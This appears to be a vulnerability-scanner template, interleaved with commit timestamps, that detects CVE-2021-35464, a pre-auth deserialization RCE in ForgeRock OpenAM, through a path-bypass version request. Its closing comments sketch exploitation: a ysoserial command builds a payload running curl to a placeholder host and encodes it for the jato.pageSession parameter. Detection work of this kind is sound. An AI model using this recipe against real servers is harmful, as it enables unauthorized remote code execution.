2021-06-29 12:32:33 +00:00
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id: CVE-2021-35464
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2021-06-29 11:56:37 +00:00
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info:
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2022-05-02 21:50:47 +00:00
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name: ForgeRock OpenAM <7.0 - Remote Code Execution
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2022-04-22 10:38:41 +00:00
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author: madrobot
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severity: critical
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2021-08-29 06:45:32 +00:00
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description: |
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ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
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2021-08-29 09:14:12 +00:00
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The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted
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/ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)
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2022-05-02 21:50:47 +00:00
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found in versions of Java 8 or earlier.
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2023-09-27 15:51:13 +00:00
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
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2023-09-06 12:09:01 +00:00
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remediation: |
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Upgrade ForgeRock OpenAM to version 7.0 or later to mitigate this vulnerability.
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2021-08-18 11:37:49 +00:00
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reference:
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2021-08-19 14:44:46 +00:00
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- https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
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2022-05-02 21:50:47 +00:00
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464
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2022-05-17 09:18:12 +00:00
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- http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html
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- http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html
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2023-07-11 19:49:27 +00:00
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- https://bugster.forgerock.org
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2021-09-10 11:26:40 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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2022-04-22 10:38:41 +00:00
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cvss-score: 9.8
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2021-09-10 11:26:40 +00:00
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cve-id: CVE-2021-35464
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cwe-id: CWE-502
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2023-12-12 11:07:52 +00:00
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epss-score: 0.97366
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epss-percentile: 0.99885
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2023-09-06 12:09:01 +00:00
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cpe: cpe:2.3:a:forgerock:am:*:*:*:*:*:*:*:*
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2022-07-10 09:37:26 +00:00
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metadata:
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2023-04-28 08:11:21 +00:00
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max-request: 1
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2023-07-11 19:49:27 +00:00
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vendor: forgerock
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product: am
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2023-09-06 12:09:01 +00:00
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shodan-query: http.title:"OpenAM"
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2023-12-05 09:50:33 +00:00
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tags: packetstorm,cve,cve2021,openam,rce,java,kev,forgerock
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2021-06-29 11:56:37 +00:00
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2023-04-27 04:28:59 +00:00
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http:
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2021-06-29 11:56:37 +00:00
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- method: GET
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path:
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- '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'
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matchers-condition: and
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matchers:
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- type: word
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2023-07-11 19:49:27 +00:00
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part: header
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2021-06-29 11:56:37 +00:00
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words:
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- "Set-Cookie: JSESSIONID="
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2021-06-29 21:31:13 +00:00
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- type: word
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2023-07-11 19:49:27 +00:00
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part: body
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2021-06-29 21:31:13 +00:00
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words:
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- "Version Information -"
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2021-08-13 10:52:36 +00:00
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- "openam/ccversion/Masthead.jsp"
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condition: or
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2023-07-11 19:49:27 +00:00
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- type: status
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status:
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- 200
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# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>
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2023-10-14 11:27:55 +00:00
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# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
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2023-12-29 09:30:44 +00:00
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# digest: 490a0046304402207249c5397bb05b8e65316393fe9524111143dfb27e35e3d8b0b662e1aba1010402206630e97a2c0d8553a0f1359ddac6ef37f339c557464aeaec8c01a09b121d5450:922c64590222798bb761d5b6d8e72950
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